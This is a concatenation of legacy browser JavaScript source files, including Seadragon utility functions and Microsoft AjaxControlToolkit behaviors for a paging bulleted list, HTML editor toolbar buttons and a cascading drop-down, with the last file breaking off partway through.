        // note: we specifically aren't testing for typeof here, because IE sets
        // the appropriate variables undefined instead of 0 under certain
        // conditions. this means we also shouldn't fail if none of the three
        // cases are hit; we'll just assume the page scroll is 0.

        return result;
    };

    this.getWindowSize = function() {
        var result = new Seadragon.Point();
        var docElmt = document.documentElement || {};
        var body = document.body || {};

        // technique from:
        // http://www.howtocreate.co.uk/tutorials/javascript/browserwindow

        // important: i originally cleaned up the second and third IE checks to
        // check if the typeof was number. but this fails for quirks mode,
        // because docElmt.clientWidth is indeed a number, but it's incorrectly
        // zero. so no longer checking typeof is number for those cases.

        if (typeof (window.innerWidth) == 'number') {
            // non-IE browsers
            result.x = window.innerWidth;
            result.y = window.innerHeight;
        } else if (docElmt.clientWidth || docElmt.clientHeight) {
            // IE6+ in standards mode
            result.x = docElmt.clientWidth;
            result.y = docElmt.clientHeight;
        } else if (body.clientWidth || body.clientHeight) {
            // IE6+ in quirks mode
            result.x = body.clientWidth;
            result.y = body.clientHeight;
        } else {
            Seadragon.Debug.fail("Unknown window size, no known technique.");
        }

        return result;
    };

    this.imageFormatSupported = function(ext) {
        var ext = ext ? ext : "";
        return !!fileFormats[ext.toLowerCase()];
    };

    this.makeCenteredNode = function(elmt) {
        var elmt = Seadragon.Utils.getElement(elmt);
        var div = self.makeNeutralElement("div");
        var html = [];

        // technique for vertically centering (in IE!!!) from:
        // http://www.jakpsatweb.cz/css/css-vertical-center-solution.html
        // with explicit neutralizing of styles added by me.
        html.push('<div style="display:table; height:100%; width:100%;');
        html.push('border:none; margin:0px; padding:0px;'); // neutralizing
        html.push('#position:relative; overflow:hidden; text-align:left;">');
        // the text-align:left guards against incorrect centering in IE
        html.push('<div style="#position:absolute; #top:50%; width:100%; ');
        html.push('border:none; margin:0px; padding:0px;'); // neutralizing
        html.push('display:table-cell; vertical-align:middle;">');
        html.push('<div style="#position:relative; #top:-50%; width:100%; ');
        html.push('border:none; margin:0px; padding:0px;'); // neutralizing
        html.push('text-align:center;"></div></div></div>');

        div.innerHTML = html.join('');
        div = div.firstChild;

        // now add the element as a child to the inner-most div
        var innerDiv = div;
        var innerDivs = div.getElementsByTagName("div");
        while (innerDivs.length > 0) {
            innerDiv = innerDivs[0];
            innerDivs = innerDiv.getElementsByTagName("div");
        }

        innerDiv.appendChild(elmt);

        return div;
    };

    this.makeNeutralElement = function(tagName) {
        var elmt = document.createElement(tagName);
        var style = elmt.style;

        // TODO reset neutral element's style in a better way
        style.background = "transparent none";
        style.border = "none";
        style.margin = "0px";
        style.padding = "0px";
        style.position = "static";

        return elmt;
    };

    this.makeTransparentImage = function(src) {
        var img = self.makeNeutralElement("img");
        var elmt = null;

        if (browser == Browser.IE && browserVersion < 7) {
            elmt = self.makeNeutralElement("span");
            elmt.style.display = "inline-block";

            // to size span correctly, load image and get natural size,
            // but don't override any user-set CSS values
            img.onload = function() {
                elmt.style.width = elmt.style.width || img.width + "px";
                elmt.style.height = elmt.style.height || img.height + "px";

                img.onload = null;
                img = null;     // to prevent memory leaks in IE
            };

            img.src = src;
            elmt.style.filter =
                    "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='" +
                    src + "', sizingMethod='scale')";
        } else {
            elmt = img;
            elmt.src = src;
        }

        return elmt;
    };

    this.setElementOpacity = function(elmt, opacity, usesAlpha) {
        var elmt = self.getElement(elmt);

        if (usesAlpha && badAlphaBrowser) {
            // images with alpha channels won't fade well, so round
            opacity = Math.round(opacity);
        }

        // for CSS opacity browsers, remove opacity value if it's unnecessary
        if (opacity < 1) {
            elmt.style.opacity = opacity;
        } else {
            elmt.style.opacity = "";
        }

        // for CSS filter browsers (IE), remove alpha filter if it's unnecessary
        if (opacity == 1) {
            var prevFilter = elmt.style.filter || "";
            elmt.style.filter = prevFilter.replace(/alpha\(.*?\)/g, "");
            // important: note the lazy star! this protects against
            // multiple filters; we don't want to delete the other ones.
            return;
        }

        var ieOpacity = Math.round(100 * opacity);
        var ieFilter = " alpha(opacity=" + ieOpacity + ") ";

        // check if this element has filters associated with it (IE only),
        // but prevent bug where IE throws error "Member not found" sometimes.
        try {
            if (elmt.filters && elmt.filters.alpha) {
                elmt.filters.alpha.opacity = ieOpacity;
            } else {
                elmt.style.filter += ieFilter;
            }
        } catch (e) {
            elmt.style.filter += ieFilter;
        }
    };

    this.addEvent = function(elmt, eventName, handler, useCapture) {
        var elmt = self.getElement(elmt);

        // technique from:
        // http://blog.paranoidferret.com/index.php/2007/08/10/javascript-working-with-events/

        if (elmt.addEventListener) {
            elmt.addEventListener(eventName, handler, useCapture);
        } else if (elmt.attachEvent) {
            elmt.attachEvent("on" + eventName, handler);
            if (useCapture && elmt.setCapture) {
                elmt.setCapture();
            }
        } else {
            Seadragon.Debug.fail("Unable to attach event handler, no known technique.");
        }
    };

    this.removeEvent = function(elmt, eventName, handler, useCapture) {
        var elmt = self.getElement(elmt);

        // technique from:
        // http://blog.paranoidferret.com/index.php/2007/08/10/javascript-working-with-events/

        if (elmt.removeEventListener) {
            elmt.removeEventListener(eventName, handler, useCapture);
        } else if (elmt.detachEvent) {
            elmt.detachEvent("on" + eventName, handler);
            if (useCapture && elmt.releaseCapture) {
                elmt.releaseCapture();
            }
        } else {
            Seadragon.Debug.fail("Unable to detach event handler, no known technique.");
        }
    };

    this.cancelEvent = function(event) {
        var event = self.getEvent(event);

        // technique from:
        // http://blog.paranoidferret.com/index.php/2007/08/10/javascript-working-with-events/

        if (event.preventDefault) {
            event.preventDefault();     // W3C for preventing default
        }

        event.cancel = true;            // legacy for preventing default
        event.returnValue = false;      // IE for preventing default
    };

    this.stopEvent = function(event) {
        var event = self.getEvent(event);

        // technique from:
        // http://blog.paranoidferret.com/index.php/2007/08/10/javascript-working-with-events/

        if (event.stopPropagation) {
            event.stopPropagation();    // W3C for stopping propagation
        }

        event.cancelBubble = true;      // IE for stopping propagation
    };

    this.createCallback = function(object, method) {
        // create callback args
        var initialArgs = [];
        for (var i = 2; i < arguments.length; i++) {
            initialArgs.push(arguments[i]);
        }

        // create closure to apply method
        return function() {
            // concatenate new args, but make a copy of initialArgs first
            var args = initialArgs.concat([]);
            for (var i = 0; i < arguments.length; i++) {
                args.push(arguments[i]);
            }

            return method.apply(object, args);
        };
    };

    this.getUrlParameter = function(key) {
        var value = urlParams[key];
        return value ? value : null;
    };

    this.makeAjaxRequest = function(url, callback) {
        var async = typeof (callback) == "function";
        var req = null;

        if (async) {
            var actual = callback;
            var callback = function() {
                window.setTimeout(Seadragon.Utils.createCallback(null, actual, req), 1);
            };
        }

        if (window.ActiveXObject) {
            for (var i = 0; i < arrActiveX.length; i++) {
                try {
                    req = new ActiveXObject(arrActiveX[i]);
                    break;
                } catch (e) {
                    continue;
                }
            }
        } else if (window.XMLHttpRequest) {
            req = new XMLHttpRequest();
        }

        if (!req) {
            Seadragon.Debug.fail("Browser doesn't support XMLHttpRequest.");
        }

        // Proxy support
//        if (Seadragon.Config.proxyUrl) {
//            url = Seadragon.Config.proxyUrl + url;
//        }

        if (async) {
            req.onreadystatechange = function() {
                if (req.readyState == 4) {
                    // prevent memory leaks by breaking circular reference now
                    req.onreadystatechange = new Function();
                    callback();
                }
            };
        }

        try {
            req.open("GET", url, async);
            req.send(null);
        } catch (e) {
            Seadragon.Debug.log(e.name + " while making AJAX request: " + e.message);

            req.onreadystatechange = null;
            req = null;

            if (async) {
                callback();
            }
        }

        return async ? null : req;
    };

    this.parseXml = function(string) {
        var xmlDoc = null;

        if (window.ActiveXObject) {
            try {
                xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
                xmlDoc.async = false;
                xmlDoc.loadXML(string);
            } catch (e) {
                Seadragon.Debug.log(e.name + " while parsing XML (ActiveX): " + e.message);
            }
        } else if (window.DOMParser) {
            try {
                var parser = new DOMParser();
                xmlDoc = parser.parseFromString(string, "text/xml");
            } catch (e) {
                Seadragon.Debug.log(e.name + " while parsing XML (DOMParser): " + e.message);
            }
        } else {
            Seadragon.Debug.fail("Browser doesn't support XML DOM.");
        }

        return xmlDoc;
    };

};
// Seadragon.Utils is a static class, so make it singleton instance
Seadragon.Utils = new Seadragon.Utils();
�U// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.PagingBulletedListBehavior = function(element) {
    /// <summary>
    /// The PagingBulletedListBehavior provides sorting and paging of a bulleted list
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// DOM element the behavior is associated with
    /// </param>
    AjaxControlToolkit.PagingBulletedListBehavior.initializeBase(this, [element]);
    
    
    
    this._indexSizeValue =  1;
    this._separatorValue = ' - ';
    
    //From Server Componant
    this._heightValue = null;
    this._maxItemPerPage = null;
    this._clientSortValue = false;
    this._selectIndexCssClassValue = null;
    this._unselectIndexCssClassValue = null;
    

    
    // Local
    this._tabValue = new Array();
    this._tabValueObject =  new Array();
    this._tabIndex =  new Array();
    this._divContent = null;
    this._divContentIndex = null;
    this._divContentUl = null;
    this._prevIndexSelected = null;
    this._indexSelected = 0;
    
    // Event
    this._clickIndex = null;
    
}
AjaxControlToolkit.PagingBulletedListBehavior.prototype = {
    initialize : function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>
        AjaxControlToolkit.PagingBulletedListBehavior.callBaseMethod(this, 'initialize');
    
        // ClientState
        var clientState = this.get_ClientState();
        if (clientState){
            var stateItems = clientState.split(";");
            if (stateItems.length) {
               this._indexSelected = stateItems[0];
               if (stateItems[1] == "null")
                this._indexSizeValue = null;
               else
                this._indexSizeValue = stateItems[1];
               if (stateItems[2] == "null")
                this._maxItemPerPage = null;
               else
                this._maxItemPerPage = stateItems[2];
               if (stateItems[3] == "true"){
                 this._clientSortValue = true; 
               }else{
                 this._clientSortValue = false;
               }            
            }
        }    
    
        var e = this.get_element();
        //Div Content
        this._divContent = document.createElement('div');
        //insert Div
        e.parentNode.insertBefore(this._divContent, e);

        var liElements = e.childNodes;

        // Create the OnClick Index
        this._clickIndex = Function.createDelegate(this, this._onIndexClick);

        var inner;
        var index;

        this._divContentIndex = document.createElement('DIV');
        this._divContentIndex.style.marginBottom = '5px';
        this._divContent.appendChild(this._divContentIndex);

        //Extract LI elements in _tabValueObject
        for (var i = 0 ; i < liElements.length; i++) {
            if (liElements[i].nodeName == 'LI') {
	            if ((liElements[i].firstChild) && (liElements[i].firstChild.innerHTML)) {
	                inner = liElements[i].firstChild.innerHTML;
	            } else {
	                inner = liElements[i].innerHTML;
	            }
	            this._tabValueObject[this._tabValueObject.length] = {text : inner, obj : liElements[i], index : i};
	         }
        }
        
        //Sort if need
        if(this._clientSortValue) {
            this._tabValueObject.sort(this.liElementSortText);
        }
        
        //Generate Index and dispatch in TabIndex and TabValue
        this._generateIndexAndTabForView();
        
        //Remove LI
        this._removeChilds(e.childNodes);
        //Add DIV for Index
        this._divContentUl = document.createElement('DIV');
        
        //Height of DivContent
        this._changeHeightDivContent();
       
        //Re-insert LI
        this._divContentUl.appendChild(e);
        this._divContent.appendChild(this._divContentUl);
        
        this._updateIndexAndView(this._indexSelected);
    },
    
    _changeHeightDivContent : function() {
        /// <summary>
        /// Change the height of the list
        /// </summary>

        if (this._heightValue) {
            this._divContentUl.style.overflow = 'scroll';
            this._divContentUl.style.height = (this._heightValue) + 'px';
        } else {
            this._divContentUl.style.overflow = '';
            this._divContentUl.style.height = '';
        }
    },
    
    _createAHrefIndex : function(indexText, indexNumber) {
        /// <summary>
        /// Create an index and display it above the list
        /// </summary>
        /// <param name="indexText" type="String">
        /// Text of the index
        /// </param>
        /// <param name="indexNumber" type="Number" integer="true">
        /// Index
        /// </param>
        /// <returns type="Sys.UI.DomElement" domElement="true">
        /// Seperator element appended after the new index (so it can be removed later if last)
        /// </returns>

        var spanSeparator;
        var aIndex;
        //Create a for Index
        aIndex = document.createElement('a');
        aIndex.href = '';
        //Add _unSelectIndexCssClass by default
        Sys.UI.DomElement.addCssClass(aIndex, this._unselectIndexCssClassValue);
        aIndex.innerHTML = indexText;
        aIndex.tag = indexNumber;
        //Attach event
        $addHandler(aIndex, 'click',this._clickIndex);
        
        //Save a Object in _tabIndex
        this._tabIndex[this._tabIndex.length] = aIndex;
        this._divContentIndex.appendChild(aIndex);
        
        //Add SPAN
        spanSeparator = document.createElement('SPAN');
        //Add FEFF carater for not delete the first or last space 
        spanSeparator.innerHTML = '\uFEFF' + this._separatorValue + '\uFEFF';
        this._divContentIndex.appendChild(spanSeparator);
        
        //Return Separator for remove the last one
        return spanSeparator;
    },
    
    liElementSortText : function(x, y) {
        /// <summary>
        /// Sort function to compare two strings
        /// </summary>
        /// <param name="x" type="Object">
        /// Object (of the form {text, index})
        /// </param>
        /// <param name="y" type="Object">
        /// Object (of the form {text, index})
        /// </param>
        /// <returns type="Number" integer="true">
        /// -1 if the first is less than the second, 0 if they are equal, 1 if the first is greater than the second
        /// </returns>

        //Sort by text
        if (x.text.toLowerCase() == y.text.toLowerCase()) {
            return 0;
        } else {
            if (x.text.toLowerCase() < y.text.toLowerCase()) {
                return -1;
            } else {
                return 1;
            }
        }
     },
     
    liElementSortIndex : function(x, y) {
        /// <summary>
        /// Sort function to compare two indices
        /// </summary>
        /// <param name="x" type="Object">
        /// Object (of the form {text, index})
        /// </param>
        /// <param name="y" type="Object">
        /// Object (of the form {text, index})
        /// </param>
        /// <returns type="Number" integer="true">
        /// -1 if the first is less than the second, 0 if they are equal, 1 if the first is greater than the second
        /// </returns>

        //Sort by index (init order)
        return x.index - y.index;
     },
    
    _generateIndexAndTabForView : function() {
        /// <summary>
        /// Create the indices
        /// </summary>

        this._deleteTabIndexAndTabValue();
        this._tabValue = new Array();
        this._tabIndex = new Array();
        var lastSpanSeparator;
        
        this._removeChilds(this._divContentIndex.childNodes);
        //Cut array _tabValueObject in _tabValue with 1 dimension per 1 index
        if(this._maxItemPerPage) {
            //if _maxItemPerPage index generation become automatique
            if (this._maxItemPerPage > 0) {
                var j = -1;
                for(var i = 0; i < this._tabValueObject.length; i++) {
                    if((i % this._maxItemPerPage) == 0) {
                        j++;
                        index = this._tabValueObject[i].text;
                        this._tabValue[j] = new Array();
                        lastSpanSeparator = this._createAHrefIndex(index, j);
                    }
                    this._tabValue[j][this._tabValue[j].length] = this._tabValueObject[i].obj;
                }
            }
        } else {
            //if Generate index with _indexSizeValue
            if (this._indexSizeValue > 0) {
                var currentIndex = '';
                var j = -1;
                for(var i = 0; i < this._tabValueObject.length; i++) {
                    index = this._tabValueObject[i].text.substr(0, this._indexSizeValue).toUpperCase();
                    if (currentIndex != index) {
                        j++;
                        this._tabValue[j] = new Array();
                        lastSpanSeparator = this._createAHrefIndex(index, j);
                        currentIndex = index;
                    }
                    this._tabValue[j][this._tabValue[j].length] = this._tabValueObject[i].obj;
                }
            }
        }
        
	    //Remove last SpanSeparator
	    if (lastSpanSeparator) {
	        this._divContentIndex.removeChild(lastSpanSeparator);        
	    }
    },
    
    _deleteTabIndexAndTabValue : function() {
        /// <summary>
        /// Delete the indices
        /// </summary>

        //Remove Event
        if (this._clickIndex) {
            for(var i = 0; i < this._tabIndex.length; i++) {
                var aIndex = this._tabIndex[i];
                if(aIndex) {
                    $removeHandler(aIndex, 'click', this._clickIndex);
                }
            }
            this._changeHandler = null;
        }
        //Delete _tabIndex
        delete this._tabIndex;
        //Delete Dimention two _tabValue[x]
        for(var i = 0; i < this._tabValue.length; i++) {
            delete this._tabValue[i];
        }
        //Delete _tabValue
        delete this._tabValue;   
    },
    
    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>
        this._deleteTabIndexAndTabValue();
        delete this._tabValueObject;
        AjaxControlToolkit.PagingBulletedListBehavior.callBaseMethod(this, 'dispose');
    },

    _removeChilds : function(eChilds) {
        /// <summary>
        /// Remove the children from their parent
        /// </summary>
        /// <param name="eChilds" type="Array" elementType="Sys.UI.DomElement" elementDomElement="true">
        /// Children to remove
        /// </param>
        for(var i = 0; eChilds.length; i++) {
            eChilds[0].parentNode.removeChild(eChilds[0]);
        }
    },
    
    _renderHtml : function(index) {
        /// <summary>
        /// Display the elements for the given index
        /// </summary>
        /// <param name="index" type="Number" integer="true">
        /// Index
        /// </param>

        var e = this.get_element();
        
        this._removeChilds(e.childNodes);
        for(var i = 0; i<this._tabValue[index].length; i++) {
            e.appendChild(this._tabValue[index][i]);
        }
        //Position scroll to top
        this._divContentUl.scrollTop = 0;
    },
    
    _selectIndex : function(index) {
        /// <summary>
        /// Select the first index
        /// </summary>

        //Add Style Select to first Index
	    if (this._tabIndex.length > 0) {
	        Sys.UI.DomElement.removeCssClass(this._tabIndex[index], this._unselectIndexCssClassValue);
            Sys.UI.DomElement.addCssClass(this._tabIndex[index], this._selectIndexCssClassValue);
            //Save previous Select Index
            this._prevIndexSelected = this._tabIndex[index];
            
            //Invoke IndexChange
            this.raiseIndexChanged(this._tabIndex[index]);
        }
    },
    
    _onIndexClick : function(evt) {
        /// <summary>
        /// Handle click events raised when the index is changed
        /// </summary>
        /// <param name="evt" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>

        var e = this.get_element();        
        // Get the control that raised the event
        var aIndex = evt.target;
        
        //Change Style for selected index
        Sys.UI.DomElement.removeCssClass(this._prevIndexSelected, this._selectIndexCssClassValue);
        Sys.UI.DomElement.addCssClass(this._prevIndexSelected, this._unselectIndexCssClassValue);
        Sys.UI.DomElement.removeCssClass(aIndex, this._unselectIndexCssClassValue);
        Sys.UI.DomElement.addCssClass(aIndex, this._selectIndexCssClassValue);
        //Save previous index selected
        this._prevIndexSelected = aIndex;

        //Clear
        this._renderHtml(aIndex.tag);
        
        //Invoke IndexChange
        this.raiseIndexChanged(aIndex);
            
        evt.preventDefault();
    },

    add_indexChanged : function(handler) {
        /// <summary>
        /// Add a handler to the indexChanged event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().addHandler('indexChanged', handler);
    },
    remove_indexChanged : function(handler) {
        /// <summary>
        /// Remove a handler from the indexChanged event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().removeHandler('indexChanged', handler);
    },
    raiseIndexChanged : function(eventArgs) {
        /// <summary>
        /// Raise the indexChanged event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs">
        /// Event Arguments
        /// </param>
        
        // Update the selected index        
        this._indexSelected = eventArgs.tag;
        
        var handler = this.get_events().getHandler('indexChanged');
        if (handler) {
            if (!eventArgs) {
                eventArgs = Sys.EventArgs.Empty;
            }
            handler(this, eventArgs);
        }
        this.set_ClientState(eventArgs.tag+";"+this.get_IndexSize()+";"+this.get_MaxItemPerPage()+";"+this.get_ClientSort());
    },
    
    get_tabIndex : function() {
        /// <value type="Array" elementType="Sys.UI.DomElement" elementDomElement="true">
        /// DOM elements of the indices
        /// </value>
        return this._tabIndex;
    },
    
    get_tabValue : function() {
        /// <value type="Array" elementType="Sys.UI.DomElement" elementDomElement="true">
        /// DOM elements of the items to display for each index
        /// </value>
        return this._tabValue;
    },

    _updateIndexAndView : function(index) {
        /// <summary>
        /// Regenerate the tables of indices and display
        /// </summary>

        //Re-Generate TabIndex and TabValue
        this._generateIndexAndTabForView()
        //Select clientState index or default select first index
        if (this._tabIndex.length > 0) {
            if (index < this._tabIndex.length) {
                this._renderHtml(this._tabIndex[index].tag);
                this._selectIndex(index);
            } else {
                this._renderHtml(this._tabIndex[0].tag);
                this._selectIndex(0);
            }
        }
    },
    
    get_Height : function() {
        /// <value type="Number" integer="true">
        /// Height of the bulleted list
        /// </value>
        return this._heightValue;
    },
    set_Height : function(value) {
        if (this._heightValue != value) {
            this._heightValue = value;
            if (this.get_isInitialized()) {
                //Change Height in the DOM
                this._changeHeightDivContent();
            }
            this.raisePropertyChanged('Height');
        }
    },
    
    get_IndexSize : function() {
        /// <value type="Number" integer="true">
        /// Number of characters in the index headings (ignored if MaxItemPerPage is set)
        /// </value>
        return this._indexSizeValue;
    },
    set_IndexSize : function(value) {
        if (this._indexSizeValue != value) {
            //Clear ClientState to set 0 index
            this.set_ClientState("0;"+value+";"+this.get_MaxItemPerPage()+";"+this.get_ClientSort());

            this._indexSizeValue = value;
            if (this.get_isInitialized()) {
                //Update TabIndex and TabValue and Select first Index
                this._updateIndexAndView(0);
            }
            this.raisePropertyChanged('IndexSize');
        }
    },
    
    get_MaxItemPerPage : function() {
        /// <value type="Number" integer="true">
        /// Maximum number of items per page (ignores the IndexSize property)
        /// </value>
        return this._maxItemPerPage;
    },
    set_MaxItemPerPage : function(value) {
        if(this._maxItemPerPage != value) {
            //Clear ClientState to set 0 index
            this.set_ClientState("0;"+this.get_IndexSize()+";"+value+";"+this.get_ClientSort());


            this._maxItemPerPage = value;
            if (this.get_isInitialized()) {
                //Update TabIndex and TabValue and Select first Index
                this._updateIndexAndView(0);
            }

            this.raisePropertyChanged('MaxItemPerPage');
        }
    },
    
    get_Separator : function() {
        /// <value type="String">
        /// Separator text to be placed between indices
        /// </value>
        return this._separatorValue;
    },
    set_Separator : function(value) {
        if (this._separatorValue != value) {
            if (value) {
                this._separatorValue = value;
            } else {
                this._separatorValue = '';
            }    
            if (this.get_isInitialized()) {
                //Update TabIndex and TabValue and Select first Index
                this._updateIndexAndView(0);
            }
            this.raisePropertyChanged('Separator');
        }
    },
    
    get_ClientSort : function() {
        /// <value type="Boolean">
        /// Whether or not the items should be sorted client-side
        /// </value>
        return this._clientSortValue;
    },
    set_ClientSort : function(value) {
        if (this._clientSortValue != value) {
            //Clear ClientState to set 0 index
            this.set_ClientState("0;"+this.get_IndexSize()+";"+this.get_MaxItemPerPage()+";"+value);


            this._clientSortValue = value;
            if (this.get_isInitialized()) {
                //if _clientSortValue sort Objects else sorton index init
                if (this._clientSortValue)
                    this._tabValueObject.sort(this.liElementSortText);
                else
                    this._tabValueObject.sort(this.liElementSortIndex);
                //Update TabIndex and TabValue and Select first Index
                this._updateIndexAndView(0);
            }    
            this.raisePropertyChanged('ClientSort');
        }
    },
    
    get_SelectIndexCssClass : function() {
        /// <value type="String">
        /// CSS class for the selected index.
        /// </value>
        return this._selectIndexCssClassValue;
    },
    set_SelectIndexCssClass : function(value) {
        if (this._selectIndexCssClassValue != value) {
            this._selectIndexCssClassValue = value;
            this.raisePropertyChanged('SelectIndexCssClass');
        }
    },
    
    get_UnselectIndexCssClass : function() {
        /// <value type="String">
        /// CSS class for indices that aren't selected
        /// </value>
        return this._unselectIndexCssClassValue;
    },
    set_UnselectIndexCssClass : function(value) {
        if (this._unselectIndexCssClassValue != value) {
            this._unselectIndexCssClassValue = value;
            this.raisePropertyChanged('UnselectIndexCssClass');
        }
    }
}
AjaxControlToolkit.PagingBulletedListBehavior.registerClass('AjaxControlToolkit.PagingBulletedListBehavior', AjaxControlToolkit.BehaviorBase);
//    getDescriptor : function() {
//        var td = AjaxControlToolkit.PagingBulletedListBehavior.callBaseMethod(this, 'getDescriptor');
//        
//        td.addProperty('Separator', String);        
//        td.addProperty('Height', Number);        
//        td.addProperty('IndexSize', String);    
//        td.addProperty('MaxItemPerPage', Number);   
//        td.addProperty('ClientSort', Boolean); 
//        td.addProperty('SelectIndexCssClass', String);
//        td.addProperty('UnselectIndexCssClass', String);
//        td.addEvent('IndexChanged', true);
//        return td;
//    },
�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveAlignment = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveAlignment.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveAlignment.prototype = {
    checkState : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveAlignment.callBaseMethod(this, "checkState")) return false;
        return this._designPanel._textAlignState(null);
    },
    
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveAlignment.callBaseMethod(this, "callMethod")) return false;
        var editor = this._designPanel;
        var editPanel = this._editPanel;
        editor._saveContent();
        editor.MSIE_justify("left", true);
        editor.onContentChanged();
        setTimeout(function(){editPanel.updateToolbar();},0);
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveAlignment.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveAlignment", AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeBoxButton = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeBoxButton.initializeBase(this, [element]);

    this._designPanel = null;
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeBoxButton.prototype = {
    _onmousedown : function(e) {
        if(this._designPanel == null) return false;
        if(this._designPanel.isPopup()) return false;
        if(AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeBoxButton.callBaseMethod(this, "_onmousedown",[e])===null) return false;
        this.callMethod();
        return false;
    },
    
    onEditPanelActivity : function() {
        this._designPanel = this._editPanel.get_activePanel();
    },
    
    callMethod : function() {
        if(this._designPanel == null) return false;
        if(this._designPanel.isPopup()) return false;
        return true;
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeBoxButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeBoxButton", AjaxControlToolkit.HTMLEditor.ToolbarButton.BoxButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.Cut = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.Cut.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Cut.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Cut.callBaseMethod(this, "callMethod")) return false;
        var editor = this._designPanel;

        if(AjaxControlToolkit.HTMLEditor.isIE) {
            editor.openWait();
            setTimeout(function(){editor.isShadowed(); editor._copyCut('x',true); editor.closeWait();},0)
        } else {
            editor._copyCut('x',true);
        }
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Cut.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Cut", AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);

i// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.CascadingDropDownSelectionChangedEventArgs = function(oldValue, newValue) {
    /// <summary>
    /// Event arguments used when the selectionChanged event is raised
    /// </summary>
    /// <param name="oldValue" type="String" mayBeNull="true">
    /// Previous selection
    /// </param>
    /// <param name="newValue" type="String" mayBeNull="true">
    /// New selection
    /// </param>
    AjaxControlToolkit.CascadingDropDownSelectionChangedEventArgs.initializeBase(this);
    
    this._oldValue = oldValue;
    this._newValue = newValue;
}
AjaxControlToolkit.CascadingDropDownSelectionChangedEventArgs.prototype = {
    get_oldValue : function() {
        /// <value type="String" mayBeNull="true">
        /// Previous selection
        /// </value>
        return this._oldValue;
    },
    
    get_newValue : function() {
        /// <value type="String" mayBeNull="true">
        /// New selection
        /// </value>
        return this._newValue;
    }
}
AjaxControlToolkit.CascadingDropDownSelectionChangedEventArgs.registerClass('AjaxControlToolkit.CascadingDropDownSelectionChangedEventArgs', Sys.EventArgs);

AjaxControlToolkit.CascadingDropDownBehavior = function(e) {
    /// <summary>
    /// The CascadingDropDownBehavior is used to populate drop downs with values from a web service
    /// </summary>
    /// <param name="e" type="Sys.UI.DomElement" domElement="true">
    /// The DOM element the behavior is associated with
    /// </param>
    AjaxControlToolkit.CascadingDropDownBehavior.initializeBase(this, [e]);

    // Properties
    this._parentControlID = null;
    this._category = null;
    this._promptText = null;
    this._loadingText = null;
    this._promptValue = null;
    this._emptyValue = null;
    this._emptyText = null;

    // Path to the web service, or null if a page method
    this._servicePath = null;

    // Name of the web method
    this._serviceMethod = null;
    
    // User/page specific context provided to the web method
    this._contextKey = null;
    
    // Whether or not the the user/page specific context should be used
    this._useContextKey = false;

    // Variables
    this._parentElement = null;
    this._changeHandler = null;
    this._parentChangeHandler = null;
    this._lastParentValues = null;
    this._selectedValue = null;
}
AjaxControlToolkit.CascadingDropDownBehavior.prototype = {
    initialize : function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>
        /// <returns />
        AjaxControlToolkit.CascadingDropDownBehavior.callBaseMethod(this, 'initialize');
        $common.prepareHiddenElementForATDeviceUpdate();

        var e = this.get_element();

        // Clear any items that may have been put there for server side convenience
        this._clearItems();

        e.CascadingDropDownCategory = this._category;

        // Attach change handler to self
        this._changeHandler = Function.createDelegate(this, this._onChange);
        $addHandler(e, "change",this._changeHandler);
        
        if (this._parentControlID) {
            // Set properties on element so that children controls (if any) can have easy access
            this._parentElement = $get(this._parentControlID);
                    
            // Attach change handler to parent
            Sys.Debug.assert(this._parentElement != null, String.format(AjaxControlToolkit.Resources.CascadingDropDown_NoParentElement, this._parentControlID));
            if (this._parentElement) {
